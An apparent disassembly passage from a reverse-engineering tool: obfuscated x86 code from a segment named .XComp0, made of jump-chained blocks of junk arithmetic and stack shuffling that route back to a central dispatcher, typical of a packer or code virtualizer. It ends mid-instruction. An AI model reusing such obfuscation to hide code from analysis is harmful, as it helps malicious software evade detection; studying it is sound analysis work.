--------------------------------------------------------------------------- loc_58B852: ; CODE XREF: .XComp0:00595B35j push eax jmp loc_59663C ; --------------------------------------------------------------------------- loc_58B858: ; CODE XREF: .XComp0:00583E06j xchg ecx, [esp] jmp loc_584DB1 ; --------------------------------------------------------------------------- loc_58B860: ; CODE XREF: .XComp0:0058E7B9j push ebp mov ebp, 2A014BBAh jmp loc_58A282 ; --------------------------------------------------------------------------- loc_58B86B: ; CODE XREF: .XComp0:00591D96j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 2FD4h mov [esp], edx push dword ptr [esp+4] jmp loc_58BCA8 ; --------------------------------------------------------------------------- loc_58B88C: ; CODE XREF: .XComp0:005978D4j xor eax, ecx xor eax, ebp xor ebp, eax xor eax, ebp push ebp not dword ptr [esp] push dword ptr [esp] pop ebp push 2D6Bh mov [esp], eax push esp jmp loc_58D8CD ; --------------------------------------------------------------------------- loc_58B8AA: ; CODE XREF: .XComp0:00584C6Dj xchg ecx, [esp] pop esp pop dword ptr [esp] pop esp movzx cx, al sub esp, 4 mov [esp], eax jmp loc_587579 ; --------------------------------------------------------------------------- loc_58B8C1: ; CODE XREF: .XComp0:00598961j mov [esp], edx jmp loc_5904C0 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_598E65 ; --------------------------------------------------------------------------- loc_58B8D1: ; CODE XREF: .XComp0:0058EE33j mov ecx, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] movsx ecx, al push ebp mov ebp, esp push edi push ecx push 4714h mov [esp], ebp mov ebp, 608E053Ch jmp loc_596A7C ; --------------------------------------------------------------------------- loc_58B8F7: ; CODE XREF: .XComp0:00588D34j and edi, ecx pop ecx neg edi sub edi, 0A81BC897h jmp loc_589F87 ; --------------------------------------------------------------------------- loc_58B907: ; CODE XREF: .XComp0:005857E1j pop dword ptr [esp] jmp loc_5906C8 ; --------------------------------------------------------------------------- loc_58B90F: ; CODE XREF: .XComp0:0058D9FCj mov [esp], ebp mov ebp, 19C27A00h xor [esp+4], ebp push dword ptr [esp] pop ebp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_590E7E ; --------------------------------------------------------------------------- loc_58B936: ; CODE XREF: .XComp0:00590076j mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp] jmp loc_588B9D ; --------------------------------------------------------------------------- loc_58B949: ; CODE XREF: .XComp0:0058DB56j xchg ecx, [esp] pop esp mov [esp], ebx mov ebx, esp push edx mov edx, 4 jmp loc_598572 ; --------------------------------------------------------------------------- loc_58B95D: ; CODE XREF: .XComp0:005909D4j sub esp, 4 mov [esp], ebx jmp loc_58BE44 ; --------------------------------------------------------------------------- loc_58B968: ; CODE XREF: .XComp0:0058C41Fj mov ebx, 125Ch mov esi, 0DB833C6h add esi, ebx jmp loc_594AF2 ; --------------------------------------------------------------------------- loc_58B979: ; CODE XREF: .XComp0:00583AE9j pop eax push dword ptr [esp] jmp loc_58B5C4 ; --------------------------------------------------------------------------- loc_58B982: ; CODE XREF: .XComp0:0058BE8Cj mov ecx, [esp] add esp, 4 sub bl, al pop eax pop edx jmp loc_59356D ; --------------------------------------------------------------------------- loc_58B991: ; CODE XREF: .XComp0:0058D403j pop ebp push ecx mov ecx, 6F7934F2h sub ecx, 4AAA07DFh sub ebx, ecx mov ecx, [esp] sub esp, 4 mov [esp], edx mov edx, esp jmp loc_58DDD7 ; --------------------------------------------------------------------------- loc_58B9B3: ; CODE XREF: .XComp0:00594203j pop esi add esp, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_58A94B ; --------------------------------------------------------------------------- loc_58B9D1: ; CODE XREF: .XComp0:00596306j pop ecx add ecx, 4 push ebp mov ebp, 4 add ecx, ebp pop ebp xchg ecx, [esp] pop esp add esp, 4 add esp, 4 push 6174h mov [esp], edx push ecx push 5DBB47C5h jmp loc_5956A5 ; --------------------------------------------------------------------------- loc_58BA01: ; CODE XREF: .XComp0:00597C2Aj movsx cx, al push ecx push esp push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], esi jmp loc_592CD5 ; --------------------------------------------------------------------------- loc_58BA27: ; CODE XREF: .XComp0:00591577j add edx, ebx pop ebx push ebp mov ebp, 4 add edx, ebp pop ebp jmp loc_594C4B ; --------------------------------------------------------------------------- loc_58BA38: ; CODE XREF: .XComp0:00596B0Dj mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 jmp loc_58B28C ; --------------------------------------------------------------------------- loc_58BA50: ; CODE XREF: .XComp0:00598FA6j sub esp, 4 mov [esp], ecx mov ecx, 75436DC8h push 3E03h mov [esp], ebp push esi mov esi, 72932554h push esi mov esi, 1643E4h mov ebp, esi jmp loc_587C7C ; --------------------------------------------------------------------------- mov ax, [esp] push 1DCh jmp loc_589DD0 ; --------------------------------------------------------------------------- loc_58BA87: ; CODE XREF: .XComp0:00598BCEj mov ecx, esp push edx push 4 pop edx jmp loc_583E29 ; --------------------------------------------------------------------------- loc_58BA95: ; CODE XREF: .XComp0:005865F4j push esi push 57276CB4h pop esi jmp loc_5862BC ; --------------------------------------------------------------------------- loc_58BAA1: ; CODE XREF: .XComp0:00587A60j push eax mov eax, 4 add ebp, eax mov eax, [esp] add esp, 4 jmp loc_58DEE9 ; --------------------------------------------------------------------------- loc_58BAB7: ; CODE XREF: .XComp0:005911A3j add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] push ecx mov ecx, esp jmp loc_588AB0 ; --------------------------------------------------------------------------- loc_58BACE: ; CODE XREF: .XComp0:0058F4E9j add edi, esi pop esi add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_587A27 ; --------------------------------------------------------------------------- loc_58BAE3: ; CODE XREF: .XComp0:005937FDj add ecx, edi pop edi push edx mov edx, 2 add ecx, edx pop edx push 6A91h mov [esp], ecx push dword ptr [esp+4] jmp loc_58CC59 ; --------------------------------------------------------------------------- loc_58BB00: ; CODE XREF: .XComp0:00585C77j push edx pop ecx pop edx jmp loc_593D7F ; --------------------------------------------------------------------------- loc_58BB08: ; CODE XREF: .XComp0:00591F0Cj push ebx push ecx mov ch, 4 mov bh, ch pop ecx mov cl, bh jmp loc_591994 ; --------------------------------------------------------------------------- loc_58BB16: ; CODE XREF: .XComp0:00589BFAj add edi, 0A926DDAh sub ebx, edi pop edi jmp loc_58D333 ; --------------------------------------------------------------------------- loc_58BB24: ; CODE XREF: .XComp0:005851A2j mov esp, [esp] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58BB2C: ; CODE XREF: .XComp0:005912B6j pop edx mov ecx, [esp] add esp, 4 neg ecx xchg ecx, edx jmp loc_596813 ; --------------------------------------------------------------------------- loc_58BB3F: ; CODE XREF: .XComp0:0059830Bj sub esp, 4 mov [esp], esi xor dword ptr [esp], 667641B1h pop ecx xor ecx, 667641B1h pop esi jmp loc_587EA0 ; --------------------------------------------------------------------------- loc_58BB5C: ; CODE XREF: .XComp0:005981FFj pop esi sub ebx, edx pop edx jmp loc_58A6FD ; --------------------------------------------------------------------------- loc_58BB65: ; CODE XREF: .XComp0:00585F0Dj add ecx, 0B1E6E88h jmp loc_58D327 ; --------------------------------------------------------------------------- loc_58BB70: ; CODE XREF: .XComp0:0058762Cj mov [esp], ecx push ebx mov bl, al mov cl, bl pop ebx mov dh, cl mov ecx, [esp] jmp loc_58E008 ; --------------------------------------------------------------------------- loc_58BB83: ; CODE XREF: .XComp0:0058D54Fj mov [esp], ebp jmp loc_5989FD ; --------------------------------------------------------------------------- loc_58BB8B: ; CODE XREF: .XComp0:00583D73j push eax push ecx mov ecx, 7ACF3294h add ecx, 1 not ecx add ecx, 7ACF329Ah jmp loc_58FA7F ; --------------------------------------------------------------------------- loc_58BBA5: ; CODE XREF: .XComp0:00593288j push eax mov eax, 4C7914FBh inc eax shl eax, 2 not eax shl eax, 8 sub eax, 0F90FABE0h xor ebx, eax pop eax jmp loc_594307 ; --------------------------------------------------------------------------- loc_58BBC1: ; CODE XREF: .XComp0:005858DEj sub esp, 4 mov [esp], ecx mov cl, bh push ebx jmp loc_58E495 ; --------------------------------------------------------------------------- loc_58BBD2: ; CODE XREF: .XComp0:005903AEj mov [esp], esi jmp loc_5897EA ; --------------------------------------------------------------------------- loc_58BBDA: ; CODE XREF: .XComp0:00597BEDj inc edi add edi, 37B8FE97h sub eax, edi jmp loc_590D5E ; --------------------------------------------------------------------------- loc_58BBE8: ; CODE XREF: .XComp0:005881A7j xor edx, ecx jmp loc_58EA5C ; --------------------------------------------------------------------------- loc_58BBEF: ; CODE XREF: .XComp0:00593700j mov ebx, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp sub esp, 4 jmp loc_58D358 ; --------------------------------------------------------------------------- loc_58BC0A: ; CODE XREF: .XComp0:005851F7j push ecx mov ecx, 649D5FA4h mov ebx, ecx jmp loc_584B6C ; --------------------------------------------------------------------------- loc_58BC17: ; CODE XREF: .XComp0:0058E175j sub edi, eax mov eax, [esp] add esp, 4 add ebx, edi mov edi, [esp] add esp, 4 push edx mov edx, 0AA7190Dh jmp loc_589F47 ; --------------------------------------------------------------------------- loc_58BC32: ; CODE XREF: .XComp0:00590041j mov esp, [esp] mov [esp], edx jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58BC3D: ; CODE XREF: .XComp0:0058958Bj mov ebx, [esp] jmp loc_59079C ; --------------------------------------------------------------------------- loc_58BC45: ; CODE XREF: .XComp0:0058759Ej pop ecx jmp loc_58EF99 ; --------------------------------------------------------------------------- loc_58BC4B: ; CODE XREF: .XComp0:0058B6EEj add edx, ebx mov ebx, [esp] add esp, 4 sub esp, 4 jmp loc_58FB7B ; --------------------------------------------------------------------------- loc_58BC5B: ; CODE XREF: .XComp0:0058859Cj mov ecx, 56270A3h xor ebp, ecx pop ecx not ebp shl ebp, 6 jmp loc_595B14 ; --------------------------------------------------------------------------- loc_58BC6D: ; CODE XREF: .XComp0:00589AA2j push esi mov esi, 6DED1756h xor esi, 46BD68F3h and ecx, esi jmp loc_5842B1 ; --------------------------------------------------------------------------- loc_58BC80: ; CODE XREF: .XComp0:00594FA3j mov ecx, 40012FDBh not ecx sub ecx, 8D5259F8h xor ebx, ecx jmp loc_5943FD ; --------------------------------------------------------------------------- loc_58BC94: ; CODE XREF: .XComp0:00590F13j push ebx mov ebx, esp push esi mov esi, 7BD86EC5h push ebp mov ebp, 8427913Fh jmp loc_5882C9 ; --------------------------------------------------------------------------- loc_58BCA8: ; CODE XREF: .XComp0:0058B887j push dword ptr [esp] pop edx push ecx mov ecx, esp jmp loc_584C61 ; --------------------------------------------------------------------------- loc_58BCB4: ; CODE XREF: .XComp0:00587260j add ebp, 6E6B0146h push ebx mov ebx, 1FE256A1h and ebx, 240777D6h not ebx or ebx, 3C1A555Ah neg ebx xor ebx, 77147D5Bh sub ebp, ebx pop ebx mov edi, ebp pop ebp add eax, edi push dword ptr [esp] pop edi add esp, 4 add ebx, 3C21047h jmp loc_587799 ; --------------------------------------------------------------------------- loc_58BCF0: ; CODE XREF: .XComp0:00586D62j mov edi, 2975146Fh add edi, 0FFFFFFFFh push ebx push edi push ecx push 0E3947DAh pop ecx or ecx, 2D90A2Fh dec ecx xor ecx, 100A02E9h add ecx, 2B920641h jmp loc_592FE3 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58BD21: ; CODE XREF: .XComp0:00587043j push 31FFh mov [esp], eax push edx jmp loc_58CD9D ; --------------------------------------------------------------------------- loc_58BD2F: ; CODE XREF: .XComp0:0058A24Ej jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58BD34: ; CODE XREF: .XComp0:0058B1FFj push 47975C84h jmp loc_596A5D ; --------------------------------------------------------------------------- loc_58BD3E: ; CODE XREF: .XComp0:005950DAj add cl, 0F9h sub cl, 0FDh add cl, dh push eax mov al, 9Fh add al, 5Eh add cl, al pop eax push eax sub esp, 4 mov [esp], ecx jmp loc_584E99 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push edx mov edx, esp push ebx mov ebx, 790D4D95h sub ebx, 790D4D91h add edx, ebx jmp loc_59201C ; --------------------------------------------------------------------------- mov ax, [esp] push ebx push esp pop ebx jmp loc_588239 ; --------------------------------------------------------------------------- loc_58BD85: ; CODE XREF: .XComp0:0059706Aj add ecx, edx sub ecx, 673345A5h pop edx jmp loc_58AE84 ; --------------------------------------------------------------------------- loc_58BD93: ; CODE XREF: .XComp0:005885F6j or [esp], eax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58BD9C: ; CODE XREF: .XComp0:00585AF7j not ebx and ebx, 6E3F220Fh jmp loc_58E778 ; --------------------------------------------------------------------------- loc_58BDA9: ; CODE XREF: .XComp0:00583DCEj add edi, 65BA13ADh add edi, esi push ecx push esi push 47C07355h pop esi xor esi, 4B3637A0h xor esi, 648433EBh jmp loc_588FFC ; --------------------------------------------------------------------------- loc_58BDCA: ; CODE XREF: .XComp0:00584466j neg eax sub eax, 615D4059h and eax, 516A6C33h jmp loc_5865BC ; --------------------------------------------------------------------------- loc_58BDDB: ; CODE XREF: .XComp0:00595CE1j add dh, bh jmp loc_584096 ; --------------------------------------------------------------------------- loc_58BDE2: ; CODE XREF: .XComp0:0058EB45j add esp, 4 mov edi, 0B62059h push edi sub dword ptr [esp], 0FFFFFFFFh pop edi neg edi sub edi, 266C70CAh sub edi, edx jmp loc_590A85 ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_595385 add esi, 5CA408B5h add esi, 5F244CE0h add esi, eax sub esi, 5F244CE0h push 702Ah mov [esp], ecx mov ecx, 5CA408B5h push ecx mov ecx, 707646DAh add esi, ecx pop ecx sub esi, ecx sub esi, 707646DAh jmp loc_591A38 ; --------------------------------------------------------------------------- loc_58BE44: ; CODE XREF: .XComp0:0058B963j mov ebx, 4 add edi, ebx pop ebx sub esp, 4 mov [esp], edi push dword ptr [esp+4] jmp loc_595E23 ; --------------------------------------------------------------------------- loc_58BE5E: ; CODE XREF: .XComp0:00597D0Aj pop edi jmp loc_5956F0 ; --------------------------------------------------------------------------- loc_58BE64: ; CODE XREF: .XComp0:0058CDB8j or cl, 7Bh xor cl, 9Ah add al, cl jmp loc_596A94 ; --------------------------------------------------------------------------- loc_58BE71: ; CODE XREF: .XComp0:0058A86Fj sub dword ptr [esp], 139F6C3Bh pop ecx add ecx, 139F6C3Bh jmp loc_5913BC ; --------------------------------------------------------------------------- loc_58BE84: ; CODE XREF: .XComp0:0058F3DCj or ch, 0DBh sub ch, 3Fh xor al, ch jmp loc_58B982 ; --------------------------------------------------------------------------- loc_58BE91: ; CODE XREF: .XComp0:00594FE3j shr cl, 4 jmp loc_587E93 ; --------------------------------------------------------------------------- loc_58BE99: ; CODE XREF: .XComp0:00596E98j xor ebx, 0F852F0DDh add ecx, 6A772D06h add ecx, ebx sub ecx, 6A772D06h pop ebx jmp loc_589A7C ; --------------------------------------------------------------------------- loc_58BEB3: ; CODE XREF: .XComp0:005882CBj mov ebp, [esp] add esp, 4 sub ebx, 25842054h add ebx, esi add ebx, 25842054h push dword ptr [esp] pop esi push ebx push esp pop ebx push edx push eax mov eax, 4 mov edx, eax jmp loc_592AE6 ; --------------------------------------------------------------------------- loc_58BEDC: ; CODE XREF: .XComp0:00584FF1j pop ebx mov edi, ecx pop ecx mov eax, [esp] add esp, 4 sub edi, 0C85FFD8Dh sub edx, edi pop edi add edx, 2DC27B0Fh add edx, eax push edi mov edi, 2DC27B0Fh sub edx, 77FF169Ah sub edx, edi add edx, 77FF169Ah jmp loc_589E6B ; --------------------------------------------------------------------------- loc_58BF13: ; CODE XREF: .XComp0:00588978j xor esi, 0E00B3DAEh sub eax, esi mov esi, [esp] jmp loc_590954 ; --------------------------------------------------------------------------- loc_58BF23: ; CODE XREF: .XComp0:00586ECFj sub ecx, 17E9397Ah add ecx, ebx add ecx, 17E9397Ah jmp loc_58AD0E ; --------------------------------------------------------------------------- loc_58BF36: ; CODE XREF: .XComp0:0058B4A9j mov [esp], ecx mov ecx, 491B1B36h push ebp mov ebp, 491B1B32h xor ecx, ebp pop ebp sub edx, 47EC0AB7h jmp loc_59630B ; --------------------------------------------------------------------------- loc_58BF52: ; CODE XREF: .XComp0:00597EE9j push esi push 12516833h pop esi dec esi shl esi, 1 add esi, 598E7E6Ch mov ebx, esi pop esi sub edx, 39972DB1h add edx, ebx add edx, 39972DB1h pop ebx add edx, ebp sub edx, 7E314ED0h jmp loc_594081 ; --------------------------------------------------------------------------- loc_58BF81: ; CODE XREF: .XComp0:0058CE71j sub esp, 4 mov [esp], ebx mov ebx, 68A93C45h sub [esp+8], ebx jmp loc_584AB1 ; --------------------------------------------------------------------------- loc_58BF95: ; CODE XREF: .XComp0:00586597j inc edi jmp loc_597719 ; --------------------------------------------------------------------------- loc_58BF9B: ; CODE XREF: .XComp0:00588B74j xchg edx, [esp] pop esp jmp loc_592E11 ; --------------------------------------------------------------------------- loc_58BFA4: ; CODE XREF: .XComp0:0058EB9Fj shl ah, 1 neg ah dec ah not ah add ah, 35h sub ch, ah jmp loc_58F3DB ; --------------------------------------------------------------------------- loc_58BFB6: ; CODE XREF: .XComp0:00597E54j mov [esp], ebx mov bl, 0D7h mov ah, 9Ah jmp loc_58B758 ; --------------------------------------------------------------------------- loc_58BFC2: ; CODE XREF: .XComp0:00593D02j add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] or [esp], al pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58BFDA: ; CODE XREF: .XComp0:0058EB95j mov [esp], eax mov eax, esp push esi jmp loc_597ED7 ; --------------------------------------------------------------------------- loc_58BFE5: ; CODE XREF: .XComp0:00586A9Fj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx mov ecx, 88D597Dh mov eax, 0F772A684h jmp loc_585299 ; --------------------------------------------------------------------------- loc_58C006: ; CODE XREF: .XComp0:0059409Cj push 1D077FBh pop edi or edi, 1C952975h jmp loc_59447D ; --------------------------------------------------------------------------- loc_58C017: ; CODE XREF: .XComp0:00598EC4j pop ebx pop ecx pop edi xor [esp+4], ebx jmp loc_589B7D ; --------------------------------------------------------------------------- loc_58C023: ; CODE XREF: .XComp0:0058B208j mov al, 92h mov ch, 0B2h jmp loc_58A60B ; --------------------------------------------------------------------------- loc_58C02C: ; CODE XREF: .XComp0:00593E9Aj add esi, ebx pop ebx jmp loc_5913F1 ; --------------------------------------------------------------------------- loc_58C034: ; CODE XREF: .XComp0:00593BACj pop ebx add al, 2Fh jmp loc_592E46 ; --------------------------------------------------------------------------- loc_58C03C: ; CODE XREF: .XComp0:00598E78j sub edx, 5F860E47h add edx, 2EB8281Bh jmp loc_586ED4 ; --------------------------------------------------------------------------- loc_58C04D: ; CODE XREF: .XComp0:005896E5j mov edx, 4 mov eax, edx pop edx add edx, eax pop eax xchg edx, [esp] pop esp jmp loc_58EB81 ; --------------------------------------------------------------------------- loc_58C061: ; CODE XREF: .XComp0:00596D33j mov edi, 560F5EECh xor esi, edi pop edi jmp loc_597E98 ; --------------------------------------------------------------------------- loc_58C06E: ; CODE XREF: .XComp0:00586E55j xchg edi, [esp] pop esp jmp loc_594786 ; --------------------------------------------------------------------------- loc_58C077: ; CODE XREF: .XComp0:00585709j and ebp, eax pop eax add ebp, 1 jmp loc_590D46 ; --------------------------------------------------------------------------- loc_58C085: ; CODE XREF: .XComp0:00584029j add edx, edi jmp loc_58D6A4 ; --------------------------------------------------------------------------- loc_58C08C: ; CODE XREF: .XComp0:00596976j mov [esp], ecx push 761Fh mov [esp], esi push 6DD02C50h jmp loc_5981EA ; --------------------------------------------------------------------------- loc_58C0A1: ; CODE XREF: .XComp0:00592C19j mov [esp], eax mov ah, 0AAh xor ah, 0FCh mov dh, ah pop eax sub ch, 9Fh add ch, dh add ch, 9Fh pop dx push 7240h mov [esp], ebx mov bl, 96h add ch, bl pop ebx xor al, ch jmp loc_592508 ; --------------------------------------------------------------------------- loc_58C0CA: ; CODE XREF: .XComp0:005951E1j xor esi, 8683DE5h jmp loc_597F2C ; --------------------------------------------------------------------------- loc_58C0D5: ; CODE XREF: .XComp0:00594F79j mov edi, 4 add ebx, edi pop edi xchg ebx, [esp] jmp loc_593724 ; --------------------------------------------------------------------------- loc_58C0E5: ; CODE XREF: .XComp0:00592BB9j xchg esi, [esp] pop esp mov [esp], edx push 52BAh mov [esp], ebx mov bh, 0Bh jmp loc_5870BE ; --------------------------------------------------------------------------- loc_58C0FB: ; CODE XREF: .XComp0:0058B487j pop esp sub esp, 4 mov [esp], ecx push eax push ecx mov cl, dl mov ah, cl pop ecx push ebx jmp loc_58A912 ; --------------------------------------------------------------------------- loc_58C112: ; CODE XREF: .XComp0:00587E31j pop dword ptr [esp] mov esp, [esp] sar dword ptr [esp], cl pushf jmp loc_590231 ; --------------------------------------------------------------------------- loc_58C121: ; CODE XREF: .XComp0:0059713Fj sub eax, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_58ED6B ; --------------------------------------------------------------------------- loc_58C132: ; CODE XREF: .XComp0:00597714j xor ebp, eax pop eax add edi, 4AEB0379h add edi, 6F21408Eh add edi, ebp jmp loc_58AC1F ; --------------------------------------------------------------------------- loc_58C148: ; CODE XREF: .XComp0:00592386j push 3CC37464h pop edx jmp loc_587C8D ; --------------------------------------------------------------------------- loc_58C153: ; CODE XREF: .XComp0:0058850Aj push dword ptr [esp] jmp loc_585A72 ; --------------------------------------------------------------------------- loc_58C15B: ; CODE XREF: .XComp0:0058F9ADj or esi, 2B8752ECh add esi, 0B141F147h jmp loc_5972F2 ; --------------------------------------------------------------------------- loc_58C16C: ; CODE XREF: .XComp0:005949A0j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx mov ebx, 0 add ebx, 348D520Bh jmp loc_59145C ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_587E85 ; --------------------------------------------------------------------------- loc_58C195: ; CODE XREF: .XComp0:00591F35j add ebp, 2234299Fh jmp loc_598E77 ; --------------------------------------------------------------------------- loc_58C1A0: ; CODE XREF: .XComp0:00587D57j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp pop dword ptr [esp] pop esp add [esp], eax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58C1B7: ; CODE XREF: .XComp0:00597334j add ebp, 18264A0Eh sub ebp, 5546208Bh add ebp, 73EC5BC1h pop edi mov edx, [esp] add esp, 4 push 401A23FEh pop esi xor esi, ebp jmp loc_5846C5 ; --------------------------------------------------------------------------- loc_58C1DD: ; CODE XREF: .XComp0:0058EAD2j push 6F77h mov [esp], ecx mov ecx, 53146738h shl ecx, 1 shl ecx, 2 jmp loc_586A17 ; --------------------------------------------------------------------------- loc_58C1F4: ; CODE XREF: .XComp0:0058A88Bj pop edx xor ch, 36h mov dh, 2Eh sub dh, ch mov ecx, [esp] jmp loc_59521D ; --------------------------------------------------------------------------- loc_58C204: ; CODE XREF: .XComp0:00594E20j pop eax push edi mov edi, esp add edi, 4 jmp loc_592C3A ; --------------------------------------------------------------------------- loc_58C213: ; CODE XREF: .XComp0:005895B6j dec edx jmp loc_595C55 ; --------------------------------------------------------------------------- loc_58C219: ; CODE XREF: .XComp0:00593131j dec edi add edi, 0D1FA5F7Ch mov ebx, edi jmp loc_59333D ; --------------------------------------------------------------------------- loc_58C227: ; CODE XREF: .XComp0:00589917j not edx xor edx, 0BB7863D2h add ecx, 3A106F7Ch sub ecx, edx jmp loc_589A8F ; --------------------------------------------------------------------------- loc_58C23C: ; CODE XREF: .XComp0:005944F5j add ebp, 4 xchg ebp, [esp] jmp loc_597DAD ; --------------------------------------------------------------------------- loc_58C24A: ; CODE XREF: .XComp0:0058DC6Bj pop dx add cl, 8 xor al, cl pop ecx push edx mov dh, 4Ch push edx push 8DEh mov [esp], ebx jmp loc_587D38 ; --------------------------------------------------------------------------- loc_58C263: ; CODE XREF: .XComp0:0058F1B8j mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 push edi push eax mov eax, 4 mov edi, eax push dword ptr [esp] jmp loc_590885 ; --------------------------------------------------------------------------- loc_58C284: ; CODE XREF: .XComp0:00586919j add esp, 4 pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, esp push 5873h mov [esp], ebx push 2994h mov [esp], eax mov eax, 26CD34ECh shr eax, 5 xor eax, 0C9E3438h neg eax sub eax, 7C496137h push esi push 66144B4Eh pop esi sub esp, 4 mov [esp], esi xchg edi, [esp] not edi xchg edi, [esp] pop esi shr esi, 3 sub esi, 894BB7BCh push 0C66h mov [esp], edx mov edx, esi mov ebx, edx pop edx pop esi jmp loc_5910A8 ; --------------------------------------------------------------------------- loc_58C2F7: ; CODE XREF: .XComp0:0058B183j push ebx push edi jmp loc_5946D4 ; --------------------------------------------------------------------------- loc_58C2FE: ; CODE XREF: .XComp0:00592966j pop ebx push 4CB5h mov [esp], edx push dword ptr [esp+4] push dword ptr [esp] mov edx, [esp] push edx mov edx, esp add edx, 4 jmp loc_58EF1A ; --------------------------------------------------------------------------- loc_58C31F: ; CODE XREF: .XComp0:00587600j mov eax, ebx pop ebx push eax mov edx, [esp] add esp, 4 pop eax xor edx, 69EB323Eh jmp loc_584475 ; --------------------------------------------------------------------------- loc_58C335: ; CODE XREF: .XComp0:00598D61j xchg eax, [esp] pop esp xor ebx, [esp] xor [esp], ebx jmp loc_585F2F ; --------------------------------------------------------------------------- loc_58C344: ; CODE XREF: .XComp0:00594F1Aj mov edx, [esp] add esp, 4 shl ebp, 4 xor ebp, 0A3BB7DDFh add ecx, ebp pop ebp jmp loc_5979E8 ; --------------------------------------------------------------------------- loc_58C35B: ; CODE XREF: .XComp0:00594C77j mov [esp], edx push esi push 4734091Fh pop esi push ebx mov ebx, 0FFFFFFFFh sub esi, 705E12C9h sub esi, ebx add esi, 705E12C9h pop ebx inc esi push edi mov edi, 2432081Bh xor edi, 426A0E95h sub edi, 6526B929h jmp loc_5925D5 ; --------------------------------------------------------------------------- loc_58C392: ; CODE XREF: .XComp0:00591287j mov esp, [esp] mov fs:[edx], ax jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58C39E: ; CODE XREF: .XComp0:00587BFCj mov [esp], eax jmp loc_588D46 ; --------------------------------------------------------------------------- loc_58C3A6: ; CODE XREF: .XComp0:00598C56j add cx, 5ECAh xor cx, 5076h jmp loc_595426 ; --------------------------------------------------------------------------- loc_58C3B5: ; CODE XREF: .XComp0:005983BAj pop eax sub ah, bl jmp loc_58A422 ; --------------------------------------------------------------------------- loc_58C3BD: ; CODE XREF: .XComp0:00587D6Fj mov ecx, 150F0123h jmp loc_583F7E ; --------------------------------------------------------------------------- loc_58C3C7: ; CODE XREF: .XComp0:00590B1Ej neg dh xor dh, 9 push ax jmp loc_59697B ; --------------------------------------------------------------------------- loc_58C3D3: ; CODE XREF: .XComp0:005853A6j push dword ptr [esp] mov esi, [esp] jmp loc_58B422 ; --------------------------------------------------------------------------- loc_58C3DE: ; CODE XREF: .XComp0:0058DE28j add esi, edi sub esi, 5480065Fh pop edi jmp loc_58EABB ; --------------------------------------------------------------------------- loc_58C3EC: ; CODE XREF: .XComp0:00592099j mov ecx, 39415F75h shl ecx, 8 sub ecx, 4AFC36B8h push eax mov eax, 428BD145h add ecx, eax jmp loc_592B31 ; --------------------------------------------------------------------------- loc_58C407: ; CODE XREF: .XComp0:005953B6j mov ecx, [esp] jmp loc_58843C ; --------------------------------------------------------------------------- loc_58C40F: ; CODE XREF: .XComp0:00590DA0j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58C414: ; CODE XREF: .XComp0:00597CA2j mov [esp], esi push 676Ch mov [esp], ebx jmp loc_58B968 ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_593AB7 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], ebx mov ebx, 5E2F7790h sub eax, 3F985FE8h add eax, ebx add eax, 3F985FE8h jmp loc_592ED7 ; --------------------------------------------------------------------------- loc_58C44C: ; CODE XREF: .XComp0:0058FE7Dj push ecx not dword ptr [esp] pop ecx sub ecx, 68DD6455h xor ecx, 0CC2CE1B4h jmp loc_596298 ; --------------------------------------------------------------------------- loc_58C462: ; CODE XREF: .XComp0:00585023j push edx mov dl, 0DFh jmp loc_58D788 ; --------------------------------------------------------------------------- loc_58C46A: ; CODE XREF: .XComp0:005961BFj push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] movzx eax, al jmp loc_58A9F4 ; --------------------------------------------------------------------------- loc_58C47E: ; CODE XREF: .XComp0:005889C7j pop dword ptr [esp] mov esp, [esp] jmp loc_58B0C7 ; --------------------------------------------------------------------------- loc_58C489: ; CODE XREF: .XComp0:00583EDBj mov edx, esi pop esi sub [esp+4], edx mov edx, [esp] add esp, 4 jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58C49E: ; CODE XREF: .XComp0:0058C789j push edx mov edx, 329F2687h neg edx jmp loc_5852AC ; --------------------------------------------------------------------------- loc_58C4AB: ; CODE XREF: .XComp0:0058A2E6j or eax, 0F72DE5h jmp loc_58F81D ; --------------------------------------------------------------------------- loc_58C4B5: ; CODE XREF: .XComp0:0058D814j pop edx xor edx, 60B738F9h jmp loc_5976F1 ; --------------------------------------------------------------------------- loc_58C4C1: ; CODE XREF: .XComp0:00596C75j xor al, ch mov ecx, [esp] jmp 